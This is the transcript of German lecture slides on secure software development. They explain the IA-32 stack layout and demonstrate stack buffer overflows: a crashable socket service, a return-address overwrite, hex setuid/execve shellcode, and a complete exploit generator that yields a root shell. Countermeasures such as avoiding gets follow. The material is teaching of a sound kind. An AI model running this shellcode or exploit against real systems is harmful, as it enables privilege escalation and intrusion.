IT-Sicherheit. Sichere Softwareentwicklung

Größe: px
Ab Seite anzeigen:

Download "IT-Sicherheit. Sichere Softwareentwicklung"

Transkript

1 IT-Sicherheit Sichere Softwareentwicklung Version: WS2014(967c57d) Alois Schütte 10. Dezember / 69

2 Inhaltsverzeichnis Sichere Softwareentwicklung ist ein weites Feld. Hier beschränken wir und auf wenige Aspekte. 1 2 Gegenmassnahmen 2 / 69

3 1 Datentypen der IA-32 Prozessorarchitektur Speicherorganisation Stack Funktionsprinzip Schwachstellen Angriffsmöglichkeiten - Denial of Service Attacken Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Angriffsmöglichkeiten - Eingeschleuster Programmkode 2 Gegenmassnahmen 3 / 69

4 Hier werden mit ihren Auswirkungen betrachtet 1. Umgebung: Die Schwachstellen werden auf Intel Linux Rechnern (ELF basiertes Unix mit IA-32 Architektur) diskutiert. Sie sind aber auf anderen Systemen ebenfalls möglich, dann sind die spezifischen Umgebungsbesonderheiten entsprechend zu berücksichtigen. Die Programme, die als Basis für die, gezeigt werden, sind in C geschrieben und mit dem GNU Compiler übersetzt. Durch Darstellung des Programmablaufs wird der GNU Debugger verwendet. 1 Die vorgestellten Programme orientieren sich am Buch Buffer Overflows und Format-String-Schwachstellen von Tobias Klein. Dort sind weitere Schwachstellen und Gegenmassnahmen beschrieben. 4 / 69

5 Datentypen der IA-32 Prozessorarchitektur Datentypen der IA-32 Prozessorarchitektur Ein Byte hat 8 Bit, ein Wort besteht aus 2 Byte, ein Doppelwort aus 4 Byte. Verwendet wird Little-endian-Byte-Ordering. Daten und Speicher werden wie folgt dargestellt: Byte Wort Doppelwort high B. low B Speicher Bit Offset 16 höchste Adresse Byte 3 Byte 2 Byte 1 Byte 0 0 niedrigste Adresse Byte Offset 5 / 69

6 Speicherorganisation Speicherorganisation kann man nur verstehen, wenn die Prozess- und Speicherorganisation bekannt ist. Eine Binärdatei enthält ein ausführbares Programm und ist auf einem Datenträger abgelegt. Hier wird das in Linux übliche Format ELF (Executable and Linking Format) zu Grunde gelegt. Wird ein Programm aufgerufen, wird der dazu gehörende Programmkode in den Hauptspeicher geladen und das Programm wird in dieser Umgebung ausgeführt. Dieses sich im Ablauf befindende Programm wird Prozess genannt. Einem Prozess ist ein (virtueller) Adressraum zur Verfügung gestellt, der in Segmente aufgeteilt ist. 0xc Stack hohe Adressen 0x frei Heap Data Text niedrige Adressen 6 / 69

7 Speicherorganisation Textsegment Im Textsegment wird der (übersetze) Programmkode abgelegt. Dieser Bereich ist read only, um zu verhindern, dass ein Prozess seine Instruktionen versehentlich überschreibt. Ein Schreibversuch in den Bereich führt zu einem Fehler (Segmentation Violation, Speicherzugriffsfehler). segmentationviolation.c 1 char global [] = " Text "; 3 int main ( void ) { 4 printf ("%s\n", global ); 5 global [ -100] = 'a'; 6 return 0; 7 } Stack frei Heap t x e T Text global[-10000] Was passiert, wenn global[4]= X gesetzt wird? 7 / 69

8 Speicherorganisation Data Segment Globale und static Variable werden im Data Segment abgelegt. Dabei wird das Segment nochmals unterteilt, in den Data und den BSS Block (block started by symbol). Im Data Block werden initialisierte globale und initialisierte static Variable gespeichert. Im BSS Block werden nicht initialisierte globale und nicht initialisierte static Variable gespeichert. 8 / 69

9 Speicherorganisation Stack Auto-Variable (lokale Variable einer Funktion) und Funktionsparameter werden auf dem Stack abgelegt, wenn die Funktion aufgerufen wird. Der Stack ist unterteilt in zwei Bereiche: Umgebungsinformationen zum Prozess User Stack Insgesamt wächst der Stack von hohen zu niedrigen Adressen. oberstes Element Endemarke Programname env[0]... env[m] argv[0]... argv[n] argc User Stack frei 9 / 69

10 Speicherorganisation Adressraum beobachten Mittels des GNU Debuggers kann man die Lage der einzelnen Arten von Variablen im Speicher ansehen. Dazu betrachten wir ein einfaches Programm: segmente.c 1 char global_i [] = " Text "; 2 int global_ni ; 4 void funktion ( int lokal_a, int lokal_b, int lokal_c ) { 5 static int lokal_stat_i = 15; 6 static int lokal_stat_ni ; 7 int lokal_i ; 8 } 10 int main ( void ) { 11 funktion (1, 2, 3); 12 return 0; 13 } Der GNU Compiler muss mit der Option g aufgerufen werden, um Debugg-Information zu generieren: $ gcc -g -o segmente segmente.c 10 / 69

11 Speicherorganisation Nun kann der Debugger aufgerufen werden: 1 $ gdb segmente 2 GNU gdb ( GDB ) Fedora ( fc14 ) 3 Reading symbols from segmente... done. 4 ( gdb ) Wir setzen einen Breakpoint am Ende der Funktion function, um die Speicherbelegung ansehen zu können 1 ( gdb ) list 2 2 int global_ni ; void funktion ( int lokal_a, int lokal_b, int lokal_c ) { 5 5 static int lokal_stat_i = 15; 6 6 static int lokal_stat_ni ; 7 7 int lokal_i ; 8 8 } int main ( void ) { funktion (1, 2, 3); 12 ( gdb ) break 8 13 Breakpoint 1 at 0 x : file segmente.c, line ( gdb ) 11 / 69

12 Speicherorganisation Nun wird das Programm ablaufen laufen: 1 ( gdb ) run 2 Starting program : segmente 4 Breakpoint 1, funktion ( lokal_a =1, lokal_b =2, lokal_c =3) at segmente.c:8 5 8 } 6 ( gdb ) Wir sehen uns die Adressen der einzelnen Variablen an: 1 ( gdb ) print & global_i 2 $3 = ( char (*)[5]) 0 x804962c 3 ( gdb ) help info symbol 4 Describe what symbol is at location ADDR. 5 Only for symbols with fixed locations ( global or static scope ). 6 ( gdb ) info symbol 0 x804962c 7 global_i in section. data of segmente 8 ( gdb ) print & global_ni 9 $4 = ( int *) 0 x ( gdb ) info symbol 0 x global_ni in section. bss of segmente 12 ( gdb ) print & lokal_stat_i 13 $5 = ( int *) 0 x ( gdb ) info symbol 0 x lokal_stat_i.1219 in section. data of segmente 16 ( gdb ) 12 / 69

13 Speicherorganisation Die Lage der nicht statischen lokalen Variablen kann man nur über einen Trick ansehen, da sie sich auf dem Stack befinden: man verzweigt vom Debugger zur Shell und sieht im proc-dateisystem nach. 1 ( gdb ) shell 2 [ as@ulab1 Schwachstellen ]$ ps -a grep segmente pts /0 00:00:00 segmente 4 [ as@ulab1 Schwachstellen ]$ cat / proc /26121/ maps r- xp :00 0 [ vdso ] Anfang Textsegment a r- xp fd : / lib /ld so r--p 0001 c000 fd : / lib /ld so rw -p 0001 d000 fd : / lib /ld so b e000 r- xp fd : / lib / libc so e f p fd : / lib / libc so f r--p fd : / lib / libc so rw -p fd : / lib / libc so rw -p : r- xp fd : segmente a000 rw -p fd : segmente 16 b7fef000 - b7ff0000 rw -p : b7fff000 - b rw -p : bffdf000 - c rw -p :00 0 [ stack ] Anfang Stack 19 exit mit Adr. lokal i 20 ( gdb ) 13 / 69

14 Stack Funktionsprinzip Stack Funktionsprinzip Der Stack wird durch push- und pop-operationen verwaltet und ist in Frames eingeteilt. Neben den automatischen Variablen und den Funktionsparametern, werden auch Verwaltungsinformationen, wie z.b. die Rücksprungadresse und Framepointer bei einem Funktionsaufruf auf den Stack geschrieben. 14 / 69

15 Stack Funktionsprinzip Stack Beispiel funk normal.c 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion (1, 2, 3); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack vor dem Aufruf der Funktion funktion(1,2,3): i = 1 frei 15 / 69

16 Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion ( 1,2,3 ); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack nach Kopieren der aktuellen Parameter, vor dem Aufruf funktion(1,2,3): i = Rücksprungadresse i = funktion(1,2,3) in main frei 16 / 69

17 Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } Stack nach Aufruf von i=funktion(1,2,3), vor Termination der Funktion: i = Rücksprungadresse Framepointer?? buff[9] buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] 6 frei buff[16] main() funktion() 17 / 69

18 Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion (1,2,3); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack nach Aufruf von i=funktion(1,2,3), nach Termination der Funktion: i = 6 frei 18 / 69

19 Schwachstellen Schwachstellen Eine Stackbasierte Buffer-Overflow Schwachstelle entsteht, wenn die Verwaltungsinformation auf dem Stack manipuliert wird, indem z.b. ein statisches Array mit mehr Werten gefüllt wird, als es gross ist. 19 / 69

20 Schwachstellen Beispiel Im folgenden Beispiel wird es einen solchen Überlauf geben, wenn das Programm mit einem Argument aufgerufen wird, das zu lang ist. stack bof.c 1 # include <stdio.h> 2 # include <string.h> 4 void funktion ( char * args ) { 5 char buff [12]; 6 strcpy ( buff, args ); 7 } 9 int main ( int argc, char * argv []){ 10 printf (" Eingabe : "); 11 if ( argc > 1) { 12 funktion ( argv [1]); 13 printf ("%s\n", argv [1]); 14 } else 15 printf (" Kein Argument!\ n"); 16 return 0; 17 } $ stack_bof Eingabe : $ stack_bof Speicherzugriffsfehler $ 20 / 69

21 Schwachstellen 1 void funktion ( char * args ) { 2 char buff [12]; 3 strcpy ( buff, args ); 4 } $ stack_bof Eingabe : $ stack_bof Speicherzugriffsfehler $ Der Grund des Absturzes ist, dass die Rücksprungadresse überschreiben wurde und der Versuch an die überschriebene Adresse zu springen, einen Speicherzugriffsfehler erzwungen hat. Rücksprungadresse Framepointer buff[11]buff[10]buff[9]buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] buff[0] frei main() funktion() frei 21 / 69

22 Angriffsmöglichkeiten - Denial of Service Attacken Angriffsmöglichkeiten - Denial of Service Attacken Das Abschiessen von Service-Programmen nennt man auch Denial of Service Attacke. Eine Möglichkeit, dies zu tun besteht im Ausnutzen von n die dann zum Absturz des Service-Programms führen der Service steht dann nicht mehr zur Verfügung. Das folgende Programm realisiert einen Service (auf Socket Basis), der auf den Port 7777 hört und dem Benutzer bei Anfragen zur Eingabe auffordert, dann den Eingabewert zurück liefert. dos.c 1 # include <sys / types.h> 2 # include <stdio.h> 3 # include <sys / socket.h> 4 # include <netinet / in.h> 5 # include <arpa / inet.h> 6 # include <string.h> 7 # include <unistd.h> 9 # define LISTENQ # define SA struct sockaddr 11 # define PORT / 69

23 Angriffsmöglichkeiten - Denial of Service Attacken 1 void do_sth ( char * str ) { 2 char buff [24]; 3 strcpy ( buff, str ); 4 printf (" buff :\ t%s\n", buff ); 5 } 7 int main ( int argc, char * argv []) { 8 char line [64]; 9 int listenfd, connfd ; 10 struct sockaddr_in servaddr ; ssize_t n; 11 listenfd = socket ( AF_INET, SOCK_STREAM, 0); 12 bzero (& servaddr, sizeof ( servaddr )); 13 servaddr. sin_family = AF_INET ; 14 servaddr. sin_addr. s_addr = htonl ( INADDR_ANY ); 15 servaddr. sin_port = htons ( PORT ); 16 bind ( listenfd, (SA *) & servaddr, sizeof ( servaddr )); 17 listen ( listenfd, LISTENQ ); 19 while (1) { 20 connfd = accept ( listenfd, ( SA *) NULL, NULL ); 21 write ( connfd, " Eingabe :\t", 9); 22 n = read ( connfd, line, sizeof ( line ) - 1); 23 line [n] = 0; 24 do_sth ( line ); 25 close ( connfd ); 26 } 27 } 23 / 69

24 Angriffsmöglichkeiten - Denial of Service Attacken Der Dienst wird gestartet: $ dos & [1] 6814 $ ps PID TTY TIME CMD 5939 pts /0 00:00:00 bash pts /0 00:00:00 dos 6820 pts /0 00:00:00 ps $ Nun kann der Dienst von einem (normalerweise anderen) Rechner in Anspruch genommen werden: $ telnet localhost 7777 Trying Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAA buff : AAAAAAAA Connection closed by foreign host. $ 24 / 69

25 Angriffsmöglichkeiten - Denial of Service Attacken Der Dienst wird abgeschossen, wenn die Benutzereingabe zu gross ist, weil die Funktion do sth() die Bibliotheksfunktion strcpy() verwendet und keine Längenprüfung erfolgt (Pufferüberlauf): $ telnet localhost 7777 Trying Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA buff : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connection closed by foreign host. [1]+ Speicherzugriffsfehler dos $ ps PID TTY TIME CMD 5939 pts /0 00:00:00 bash 6824 pts /0 00:00:00 ps $ Der Grund des Absturzes ist auch hier, dass die Rücksprungadresse überschreiben wurde und der Versuch an die überschriebene Adresse zu springen, einen Speicherzugriffsfehler erzwungen hat. 25 / 69

26 Angriffsmöglichkeiten - Denial of Service Attacken Das sieht man, indem man den Coredump auswertet (dazu muss man das Anlegen eines Core- dump explizite erlauben): $ ulimit -c 1000 $ telnet localhost 7777 Trying Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA buff : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connection closed by foreign host. [1]+ Speicherzugriffsfehler ( core dumped ) dos $ ls core.6844 dos dos.c $ gdb dos core.6831 Core was generated by `dos '. Program terminated with signal 11, Segmentation fault.... ( gdb ) info registers ebp eip ebp 0 x x eip 0 x x ( gdb ) Die Rücksprungadresse (im Register eip) besteht aus 0x = AAAAAAAA. Das ist keine gültige Adresse. Der Framepointer (im Register ebp) ist auch mit A s überschrieben. 26 / 69

27 Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Gezielte Modifikation des Programmflusses Im letzten Beispiel wurde die Rücksprungadresse mit A s überschreiben. Den Programmfluss kann man manipulieren, wenn man die Rücksprungadresse mit einer gültigen Adresse überschreibt. Es ist also erforderlich, 1 die Speicheradresse zu bestimmen, an der sich die Rücksprungadresse befindet (diesen Platz wollen wir ja überschreiben) und 2 eine neue Adresse zu bestimmen, an der das Programm weiter machen soll. Im folgenden Programm gibt es zwei Funktionen: oeffentlich() die soll von einem normalen Benutzer aufgerufen werden; geheim() die soll nur aufgerufen werden, wenn der Superuser das Programm verwendet. 27 / 69

28 Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses 1 void geheim ( void ) { 2 printf (" GEHEIM!!!\ n"); 3 exit (0); 4 } 6 void oeffentlich ( char * args ) { 7 char buff [12]; // Buffer 8 memset ( buff, 'B', sizeof ( buff )); // Fuelle Buffer mit B 's 9 strcpy ( buff, args ); // Ziel des Angriffs 10 printf ("\ nbuff : [%s] (%p)(% d)\n\n", buff, buff, sizeof ( buff )); 11 } 13 int main ( int argc, char * argv []) { 14 int uid ; uid = getuid (); 16 if ( uid == 0) // soll nur ausgefuehrt werden, 17 geheim (); // wenn der super - user das Programm startet 19 if ( argc > 1) { 20 printf (" geheim () - >(%p)\ n", geheim ); Adresse von geheim 21 printf (" oeffentlich () - >(% p)\ n", oeffentlich ); und oeffentlich 22 oeffentlich ( argv [1]); 23 } else 24 printf (" Kein Argument!\ n") 25 return 0; 26 } 28 / 69

29 Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Der Aufruf als normaler Benutzer und root ohne Pufferüberlauf führt zu dem erwarteten Ergebnis: $ id uid =500( as) gid =100( users ) $ ret AAA geheim () -> (0 x80483f8 ) Adr. geheim oeffentlich () -> (0 x ) Adr. oeffentlich buff : [ AAA ] (0 xbfffda60 )(12) (Adr. buf), (buf.len) $ su Password : # id uid =0 gid =0 # ret AAA GEHEIM!!! # Die Adresse von geheim ist also 0x80483f8. Wenn wir nun diese Adresse von geheim() als Rücksprungadresse auf den Stack bringen, zuvor noch den Framepointer mit Dummies füllen, müsste die Prozedur geheim ausgeführt werden, auch wenn man nicht Superuser ist, da aus der Funktion oeffentlich nicht zu main, sondern zu geheim gesprungen wird. 29 / 69

30 Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Rücksprungadresse Framepointer buff[11]buff[10]buff[9]buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] buff[0] frei geheim(){...} oeffentlich(){...} main(){...} main() oeffentlich() 0x80483f8 xf8 x83 x04 x08 B B B B A A A A A A A A A A A A frei geheim(){...} oeffentlich(){...} main(){...} $ id uid =500( as) gid =100( users ) $ ret `perl -e '{ print "A" x12 ; print "B" x12 ; print "\ xf8 \ x83 \ x04 \ x08 ";} '` geheim () -> (0 x80483f8 ) oeffentlich () -> (0 x ) buff : [ AAAAAAAAAAAABBBBø ] (0 xbfffdbf0 )(12) GEHEIM!!! $ Achtung: je nach vorhandener Umgebung sind neben dem Framepointer noch weitere Register gespeichert: entsprechend viel B s verwenden (z.b B x16). 30 / 69

31 Angriffsmöglichkeiten - Eingeschleuster Programmkode Angriffsmöglichkeiten - Eingeschleuster Programmkode Man kann auch verwenden, um eigenen Programmkode in ein Programm einzuschleusen. Ein Programm, das in der Lage ist, programmfremden Kode zur Ausführung zu bringen, besteht aus zwei Teilen: 1 Der Injektion Vector ist der Programmteil, der den Puffer zum überlaufen bringt und den Programmfluss so manipuliert, dass der Payload ausgeführt wird. 2 Der Payload ist der eingeschleuste, fremde Programmkode. Häufig verwendete Payloads sind: Eintragen von neuen Zeilen in die /etc/passwd mit UID=0 Virus und Snifferkode Öffnen einer Shell mit Root-Berechtigung Im Folgenden beschränken wir uns auf das Öffnen einer Shell; die anderen Payload werden mit ähnlicher Technik erstellt. 31 / 69

32 Angriffsmöglichkeiten - Eingeschleuster Programmkode Der Payload soll im Prozessraum des Wirtsprogramms ausgeführt werden. Also muss er in Assemblerkode erstellt und in Hexadezimalnotaion abgelegt werden. Das kann man am einfachsten tun, indem man 1 zunächst ein C-Programm mit dem gewünschten Payload erstellt, 2 dann das C-Programm in Assembler überführt, um 3 letztlich die Hex-Form zu Erzeugen. shell.c 1 # include <stdio.h> 2 int main ( void ) { 3 char * name [2]; 4 name [0] = "/ bin / sh"; 5 name [1] = NULL ; 6 execve ( name [0], name, NULL ); 7 } Übersetzen und laufen lassen 32 / 69

33 Angriffsmöglichkeiten - Eingeschleuster Programmkode Das Übersetzen in Assembler (cc -S) führt zu Kode, den man analysieren und anpassen kann: 1 $ gcc -S shell.c 2 $ cat shell.s 3. file " shell.c" 4. section. rodata 5. LC0 : 6. string "/ bin / sh" 7. text 8. globl main 9. type 10 main : 11 pushl % ebp 12 movl %esp, % ebp 13 andl $ -16, % esp 14 subl $32, % esp movl %edx, 4(% esp ) 17 movl %eax, (% esp ) 18 call execve 19 leave 20 ret 21. size main,.- main 22. ident " GCC : ( GNU ) ( Red Hat ) " 23. section. note.gnu - stack,"",@progbits 24 $ 33 / 69

34 Angriffsmöglichkeiten - Eingeschleuster Programmkode Nach Anpassungen muss der Kode in Hexnotation gebracht werden: 1 char shellcode [] = 2 /* setuid (0) */ 3 "\ x31 \ xc0 " /* xorl %eax,% eax */ 4 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 5 "\ xb0 \ x17 " /* movb $0x17,% al */ 6 "\ xcd \ x80 " /* int $0x80 */ 7 /* Shell oeffnen */ 8 "\ xeb \ x1f " /* jmp 0 x1f */ 9 "\ x5e " /* popl % esi */ 10 "\ x89 \ x76 \ x08 " /* movl %esi,0x8 (% esi ) */ 11 "\ x31 \ xc0 " /* xorl %eax,% eax */ 12 "\ x88 \ x46 \ x07 " /* movb %eax,0x7 (% esi ) */ 13 "\ x89 \ x46 \ x0c " /* movl %eax,0xc (% esi ) */ 14 "\ xb0 \ x0b " /* movb $0xb,% al */ 15 "\ x89 \ xf3 " /* movl %esi,% ebx */ 16 "\ x8d \ x4e \ x08 " /* leal 0x8 (% esi ),% ecx */ 17 "\ x8d \ x56 \ x0c " /* leal 0xc (% esi ),% edx */ 18 "\ xcd \ x80 " /* int $0x80 */ 19 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 20 "\ x89 \ xd8 " /* movl %ebx,% eax */ 21 "\ x40 " /* inc % eax */ 22 "\ xcd \ x80 " /* int $0x80 */ 23 "\ xe8 \ xdc \ xff \ xff \ xff " /* call -0 x24 */ 24 "/ bin /sh"; /*. string \"/ bin /sh \" */ Der fremde Kode muss also wie o.a. Beschaffen sein, damit eine Shell damit geöffnet werden kann. 34 / 69

35 Angriffsmöglichkeiten - Eingeschleuster Programmkode Eine ausführliche Anleitung, wie man aus C-Kode ausführbaren Hex-Kode erzeugen kann ist zu finden unter (Exploit) Aus dem Programm: 1 # include <stdio.h> 2 int main ( void ){ 3 char * name [2]; 4 name [0] = "/ bin / sh"; 5 name [1] = NULL ; 6 seteuid (0, 0); 7 execve ( name [0], name, NULL ); 8 } wird dadurch Hex-Kode: \ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb \ x10 \ x5b \ x31 \ xc0 \ x88 \ x43 \ x07 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xeb \ xff \ xff \ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x23 der dann in einem C-Programm verwendet werden kann: 35 / 69

36 Angriffsmöglichkeiten - Eingeschleuster Programmkode Shellcode.c 1 char code []= 2 "\ x31 \ xc0 \ xb0 \ x46 \ x31 \ xdb \ x31 \ xc9 \ xcd \ x80 \ xeb \ x10 \ x5b \ x31 \ xc0 \ x88 " 3 "\ x43 \ x07 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ x31 \ xd2 \ xcd \ x80 \ xe8 \ xeb \ xff \ xff " 4 "\ xff \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x23 "; 6 int main () { 7 int (* shell )(); 8 shell = code ; 9 shell (); 10 } Rechner 36 / 69

37 Angriffsmöglichkeiten - Eingeschleuster Programmkode Die Frage bleibt, wo man diesen Shellkode plazieren muss. Es gibt mehrere Möglichkeiten: Kopieren in den Überlaufpuffer (er muss aber gross genug dafür sein) Ablage in Umgebungsvariablen. Das folgende Programm stack exploit2.c verwendet als Ablageort den Überlaufpuffer des befallenen Programms stack bof2.c: 37 / 69

38 Angriffsmöglichkeiten - Eingeschleuster Programmkode angegriffenes Programm stack bof2.c stack bof2.c 1 # include <stdio.h> 2 # include <string.h> 4 void funktion ( char * args ) { 5 char buff [512]; // Angriffsziel, der Ueberlaufpuffer soll 6 strcpy ( buff, args ); // mit fremdem Kode ueberschrieben werden 7 } 9 int main ( int argc, char * argv []) { 10 if ( argc > 1) { 11 funktion ( argv [1]); 12 } else 13 printf (" Kein Argument!\ n"); 14 return 0; 15 } $ $ stack_bof02 $ Rechner 38 / 69

39 Angriffsmöglichkeiten - Eingeschleuster Programmkode Der Payload ist in folgendem Programm realisiert und benutzt als Injection Vektor den Puffer des angegriffenen Programms (buff). stack exploit2.c 1 # include <stdlib.h> 2 # include <stdio.h> 4 # define DEFAULT_OFFSET 0 5 # define DEFAULT_BUFFER_GR # define NOP 0 x90 8 char shellcode [] = 9 /* setuid (0) */ 10 "\ x31 \ xc0 " /* xorl %eax,% eax */ 11 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 12 "\ xb0 \ x17 " /* movb $0x17,% al */ 13 "\ xcd \ x80 " /* int $0x80 */ 15 /* Shell oeffnen */ 16 "\ xeb \ x1f " /* jmp 0 x1f */ 17 "\ x5e " /* popl % esi */ 18 "\ x89 \ x76 \ x08 " /* movl %esi,0x8 (% esi ) */ 19 "\ x31 \ xc0 " /* xorl %eax,% eax */ 20 "\ x88 \ x46 \ x07 " /* movb %eax,0x7 (% esi ) */ 21 "\ x89 \ x46 \ x0c " /* movl %eax,0xc (% esi ) */ 22 "\ xb0 \ x0b " /* movb $0xb,% al */ 39 / 69

40 Angriffsmöglichkeiten - Eingeschleuster Programmkode 23 "\ x89 \ xf3 " /* movl %esi,% ebx */ 24 "\ x8d \ x4e \ x08 " /* leal 0x8 (% esi ),% ecx */ 25 "\ x8d \ x56 \ x0c " /* leal 0xc (% esi ),% edx */ 26 "\ xcd \ x80 " /* int $0x80 */ 27 "\ x31 \ xdb " /* xorl %ebx,% ebx */ 28 "\ x89 \ xd8 " /* movl %ebx,% eax */ 29 "\ x40 " /* inc % eax */ 30 "\ xcd \ x80 " /* int $0x80 */ 31 "\ xe8 \ xdc \ xff \ xff \ xff " /* call -0 x24 */ 32 "/ bin /sh"; /*. string \"/ bin /sh \" */ 34 unsigned long 35 GetESP ( void ) { 36 asm (" movl %esp,% eax "); 37 } 39 int main ( int argc, char * argv []) { 40 char *buff, * zgr ; 41 long * adr_zgr, adr ; 42 int offset = DEFAULT_OFFSET, bgr = DEFAULT_BUFFER_GR ; 43 int i; 45 if ( argc > 1) bgr = atoi ( argv [1]); 46 if ( argc > 2) offset = atoi ( argv [2]); 47 if (!( buff = malloc ( bgr ))) { 48 printf (" Fehler bei der Speicherreservierung.\ n"); 49 exit (1); 50 } 40 / 69

41 Angriffsmöglichkeiten - Eingeschleuster Programmkode 52 adr = GetESP () - offset ; 53 fprintf ( stderr, " ESP : 0x%x\n", GetESP ()); 54 fprintf ( stderr, " ESP mit Offset : 0x%x\n", adr ); 56 zgr = buff ; 57 adr_zgr = ( long *) zgr ; 58 for (i = 0; i < bgr ; i +=4) 59 *( adr_zgr ++) = adr ; 61 for (i = 0; i < bgr /2; i++) 62 buff [i] = NOP ; 64 zgr = buff + (( bgr /2) - ( strlen ( shellcode )/2)); 65 for (i = 0; i < strlen ( shellcode ); i++) 66 *( zgr ++) = shellcode [i]; 68 buff [ bgr - 1] = '\0 '; 69 printf ("%s", buff ); 71 return 0; 72 } 41 / 69

42 Angriffsmöglichkeiten - Eingeschleuster Programmkode Unter der Annahme, stack bof2 ist ein setuid Root-Programm, kann man eine Root-Shell mittels des folgenden Aufrufs öffnen: $ id uid =500( as) gid =100( users ) $ stack_bof2 ` stack_exploit2 536 ` ESP : 0 xfef998e8 ESP mit Offset : 0 xfef998f8 sh $ sh $ id uid =0 gid =0 sh $ stack exploit2 erzeugt auszuführenden Shellkode, der in buff kopiert wird. Dabei wird Rücksprungadresse so manipuliert, dass der Kode ausgeführt wird. Das Starten des Programms stack buf2 bewirkt das Öffnen einer Root-Shell, obwohl das nie in dem Programm programmiert wurde. 42 / 69

43 Gegenmassnahmen Gegenmassnahmen 1 2 Gegenmassnahmen Überblick Sichere Programmierung Source Code Audits Automatisierte Softwaretests Binary Audits Compilererweiterungen 43 / 69

44 Gegenmassnahmen Überblick Überblick Die (leider) heute gängige Praxis, mit Software-Schwachstellen umzugehen ist: 1 Erstellung von Software ohne besondere Beachtung von sicherheitsrelevanten Aspekten. 2 Verkauf der Software. 3 Eine Schwachstelle wird entdeckt und ein Exploit wird entwickelt (meist durch Hacker). 4 Der Hersteller stellt einen Patch bereit. 5 Ein Bugreport wird in Mailinglisten veröffentlicht, der Systembetreuer auffordert, den Patch einzuspielen. Welche Nachteile hat diese Methode (Ihre Erfahrungen interessieren hier)? 44 / 69

45 Gegenmassnahmen Überblick Besser als im Nachhinein aktiv zu werden ist es, vor dem Verkauf der Software, Schwachstellen zu erkennen: während der Programmentwicklung (sichere Programmierung), durch Audits nach der Programmerstellung, Compilererweiterungen und Prozesserweiterungen. 45 / 69

46 Gegenmassnahmen Sichere Programmierung Sichere Programmierung In der C-Standardbibliothek existieren einige Funktionen, die als risikobehaftet bekannt sind und deshalb nicht verwendet werden sollten. Einige dieser Funktionen werden gezeigt und Alternativen diskutiert. 46 / 69

47 Gegenmassnahmen Sichere Programmierung gets fgets gets dient dazu, einer Zeile von der Standardeingabe einzulesen und in einem Puffer zu speichern. Da man den Puffer zur im Programm anlegen muss, also eine Grösse angeben muss, kann nie verhindert werden, dass mehr eingaben gemacht werden, als der Puffer gross ist. gets.c 1 # include <stdio.h> 2 int main ( void ) { 3 char buff [24]; 4 printf (" Eingabe : "); 5 gets ( buff ); was passiert bei Eingaben > 24? 6 return 0; 7 } 47 / 69

48 Gegenmassnahmen Sichere Programmierung gets fgets 1 int main ( void ) { 2 char buff [24]; 3 printf (" Eingabe : "); 4 gets ( buff ); was passiert bei Eingaben > 24? 5 return 0; 6 } Der Compiler warnt schon vor der Verwendung von gets! $ make gets cc gets.c -o gets / tmp / cculyf47.o(. text +0 x28 ): In function `main ': : warning : the `gets ' function is dangerous and should not be used. $ $ gets Eingabe : AAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBB Speicherzugriffsfehler $ Offensichtlich wurde der Puffer buff über seine Grenzen hinweg überschrieben und Verwaltungs- information, wie Framepointer oder Rücksprungadresse mit B s führen zu dem Speicherzugriffsfehler. Also: stets auf gets verzichten! 48 / 69

